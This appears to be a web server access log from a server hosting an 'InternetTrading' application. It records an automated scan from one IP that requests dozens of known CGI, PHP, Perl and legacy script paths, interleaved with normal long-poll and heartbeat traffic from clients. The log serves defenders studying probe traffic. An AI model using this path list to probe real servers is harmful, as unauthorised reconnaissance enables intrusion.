[09/Jan/2026:10:49:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/php.fcgi HTTP/1.1" 199
[09/Jan/2026:10:49:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/printenv HTTP/1.1" 199
[09/Jan/2026:10:49:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/restore_config.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ruby.rb HTTP/1.1" 199
[09/Jan/2026:10:49:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/search HTTP/1.1" 199
[09/Jan/2026:10:49:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/search.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/server.php HTTP/1.1" 199
[09/Jan/2026:10:49:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927234842 HTTP/1.1" -
[09/Jan/2026:10:49:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/status HTTP/1.1" 199
[09/Jan/2026:10:49:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/sysinfo.pl HTTP/1.1" 199
[09/Jan/2026:10:49:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test HTTP/1.1" 199
[09/Jan/2026:10:49:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test-cgi HTTP/1.1" 199
[09/Jan/2026:10:49:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test_cgi.php HTTP/1.1" 199
[09/Jan/2026:10:49:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test.cgi.php HTTP/1.1" 199
[09/Jan/2026:10:49:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test_cgi.pl HTTP/1.1" 199
[09/Jan/2026:10:49:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test-cgi.pl HTTP/1.1" 199
[09/Jan/2026:10:49:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test.py HTTP/1.1" 199
[09/Jan/2026:10:49:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test.sh HTTP/1.1" 199
[09/Jan/2026:10:49:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/tmUnblock.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/uname.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/viewcvs.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927224947 HTTP/1.1" -
[09/Jan/2026:10:49:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/welcome HTTP/1.1" 199
[09/Jan/2026:10:49:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/whois.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ HTTP/1.1" 199
[09/Jan/2026:10:49:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:49:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927223201 HTTP/1.1" -
[09/Jan/2026:10:49:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authLogin.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bb-hist.sh HTTP/1.1" 196
[09/Jan/2026:10:49:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /banner.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /book.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgiinfo.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgitest.py HTTP/1.1" 196
[09/Jan/2026:10:49:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi_wrapper HTTP/1.1" 196
[09/Jan/2026:10:49:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contact.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /count.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultwebpage.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /entropysearch.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927239874 HTTP/1.1" -
[09/Jan/2026:10:49:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /environment.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ezmlm-browse HTTP/1.1" 196
[09/Jan/2026:10:49:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /formmail.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /FormMail-clone.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /guestbook.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /helpdesk.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:49:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.pl HTTP/1.1" 196
[09/Jan/2026:10:49:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:49:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info.sh HTTP/1.1" 196
[09/Jan/2026:10:49:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loadpage.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:49:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.pl HTTP/1.1" 196
[09/Jan/2026:10:49:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927230010 HTTP/1.1" -
[09/Jan/2026:10:49:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pathtest.pl HTTP/1.1" 196
[09/Jan/2026:10:49:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php HTTP/1.1" 196
[09/Jan/2026:10:49:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php4 HTTP/1.1" 196
[09/Jan/2026:10:49:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927228247 HTTP/1.1" -
[09/Jan/2026:10:49:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php5 HTTP/1.1" 196
[09/Jan/2026:10:49:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php-cgi HTTP/1.1" 196
[09/Jan/2026:10:49:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php.fcgi HTTP/1.1" 196
[09/Jan/2026:10:49:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /printenv HTTP/1.1" 196
[09/Jan/2026:10:49:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /restore_config.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ruby.rb HTTP/1.1" 196
[09/Jan/2026:10:49:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search HTTP/1.1" 196
[09/Jan/2026:10:49:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server.php HTTP/1.1" 196
[09/Jan/2026:10:49:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status HTTP/1.1" 196
[09/Jan/2026:10:49:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysinfo.pl HTTP/1.1" 196
[09/Jan/2026:10:49:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test HTTP/1.1" 196
[09/Jan/2026:10:49:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test-cgi HTTP/1.1" 196
[09/Jan/2026:10:49:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927244933 HTTP/1.1" -
[09/Jan/2026:10:49:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test_cgi.php HTTP/1.1" 196
[09/Jan/2026:10:49:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.cgi.php HTTP/1.1" 196
[09/Jan/2026:10:49:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test_cgi.pl HTTP/1.1" 196
[09/Jan/2026:10:49:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test-cgi.pl HTTP/1.1" 196
[09/Jan/2026:10:49:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.py HTTP/1.1" 196
[09/Jan/2026:10:49:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sh HTTP/1.1" 196
[09/Jan/2026:10:49:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmUnblock.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uname.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /viewcvs.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome HTTP/1.1" 196
[09/Jan/2026:10:49:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whois.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:49:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:49:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action HTTP/1.1" 196
[09/Jan/2026:10:49:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927235225 HTTP/1.1" -
[09/Jan/2026:10:49:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action HTTP/1.1" 196
[09/Jan/2026:10:49:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /TiVoConnect?Command=QueryServer HTTP/1.1" 196
[09/Jan/2026:10:49:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /TiVoConnect?Command=QueryContainer&Container=/&Recurse=Yes HTTP/1.1" 196
[09/Jan/2026:10:49:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927233270 HTTP/1.1" -
[09/Jan/2026:10:49:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/cart32.exe HTTP/1.1" 196
[09/Jan/2026:10:49:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cart32.exe HTTP/1.1" 199
[09/Jan/2026:10:49:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/classified.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/classified.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/download.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/download.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/flexform.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/flexform.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/flexform HTTP/1.1" 196
[09/Jan/2026:10:49:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:49:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/flexform HTTP/1.1" 199
[09/Jan/2026:10:49:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/lwgate.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/lwgate.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/LWGate.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/LWGate.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/lwgate HTTP/1.1" 196
[09/Jan/2026:10:49:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927249993 HTTP/1.1" -
[09/Jan/2026:10:49:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/lwgate HTTP/1.1" 199
[09/Jan/2026:10:49:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/LWGate HTTP/1.1" 196
[09/Jan/2026:10:49:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/LWGate HTTP/1.1" 199
[09/Jan/2026:10:49:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/perlshop.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/perlshop.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfappman/index.cfm HTTP/1.1" 196
[09/Jan/2026:10:49:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927240356 HTTP/1.1" -
[09/Jan/2026:10:49:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927238290 HTTP/1.1" -
[09/Jan/2026:10:49:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927255061 HTTP/1.1" -
[09/Jan/2026:10:49:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927245603 HTTP/1.1" -
[09/Jan/2026:10:49:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927243315 HTTP/1.1" -
[09/Jan/2026:10:49:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927260132 HTTP/1.1" -
[09/Jan/2026:10:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927250763 HTTP/1.1" -
[09/Jan/2026:10:49:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927248347 HTTP/1.1" -
[09/Jan/2026:10:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:49:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927265209 HTTP/1.1" -
[09/Jan/2026:10:49:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927253388 HTTP/1.1" -
[09/Jan/2026:10:49:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927255927 HTTP/1.1" -
[09/Jan/2026:10:49:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927270231 HTTP/1.1" -
